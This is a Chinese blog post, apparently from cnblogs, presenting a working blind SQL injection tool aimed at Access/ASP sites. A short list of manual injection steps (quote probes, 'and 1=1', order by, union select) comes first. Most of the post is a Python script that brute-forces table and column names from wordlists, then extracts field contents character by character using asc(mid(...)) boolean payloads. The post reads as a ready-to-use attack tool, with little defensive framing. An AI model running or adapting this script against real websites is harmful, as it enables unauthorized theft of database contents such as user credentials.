zoukankan      html  css  js  c++  java
  • Access、Asp注入工具

    0x00:前言

    自动化注入工具,这款工具不用太复杂,但是可以用最简单、最直接的方式来获取数据库信息,根据自定义构造的payload来绕过防护,这样子就可以。

    Access、Asp注入一般流程:

    理论   https://www.cnblogs.com/liqik/p/12333378.html

    (1)找到注入点

      '

      and 1=1

      and 1=2

    (2)猜解关键段

    order by

    联合查询找出显示点,注意隐式显示查看源码

    union select ,,,,,,

    (3)猜解表名

    (4)猜解列名

    (5)猜解内容

    0x01:SQL工具

    # _*_  coding:utf-8 _*_
    '''
    该脚本主要针对Access、ASP注入
    '''
    import requests
    
    def getable(url):  #获取表名
        for line in open('tables.txt','r'):
            target = url + "and exists(select * from " + line + ")"
            response = requests.get(target)
            response.encoding = 'gb2312'
            if "XYCMS" in response.text:  #如果有返回结果
                print(line+" ")
    
    def getcolumn(url): #获取列名
        tablename = input("which table ? ")
        print("columns' name : ")
        for line in open('columns.txt','r'):
            target = url + "and (select count(" + line +") from "+ tablename +")>0"
            response = requests.get(target)
            response.encoding = 'gb2312'
            if "XYCMS" in response.text:
                print(line+" ",end='')
    
    def getcolumnlen(url,tablename,columname):
        for i in range(1,30):
            target = url + "and (select top 1 len("+columname+") from "+tablename+") = " + str(i)
            r = requests.get(target)
            r.encoding = 'gb2312'
            if "XYCMS" in r.text:
                print("第一个字段长度:" + str(i))
                return i
    
    def getmsg(len,url,tablename,columname): #只能获得第一行数据
        result = ""
        for i in range(1,len+1):
            for j in range(48,127):
                target = url + "and (select top 1 asc(mid("+columname+","+str(i)+",1)) from "+ tablename +")= "+str(j)
                #and (select top 1 asc(mid(列名,{0},1)) from 表名)= {1}
                r2 = requests.get(target)
                r2.encoding = 'gb2312'
                if "XYCMS" in r2.text:
                    result += chr(j)
                    print(result)
    
    if __name__ == '__main__':
        url = "http://xxxxxxxxxx?id=1"
        #getable(url)
        print("tables done.")
        #getcolumn(url)
        print("columns done")
        tablename = input("which table ?")
        columname = input("which column ?")
        length = getcolumnlen(url,tablename,columname)
        getmsg(length,url,tablename,columname)
        print("done!")
  • 相关阅读:
    阻止 gulp 发生异常后退出
    Implementing DDD Reading
    Chrome 37 Beta: 使用Windows的DirectWrite和支持<dialog>元素
    作为一个程序员,你的进步完全取决于你自己
    Accessing Report Server using Report Server Web Service
    admin自定义后台注意事项
    BBS项目
    python之路_django中form组件
    python之路_django中ajax应用
    python之路_django 认证系统
  • 原文地址:https://www.cnblogs.com/liqik/p/12353964.html
Copyright © 2011-2022 走看看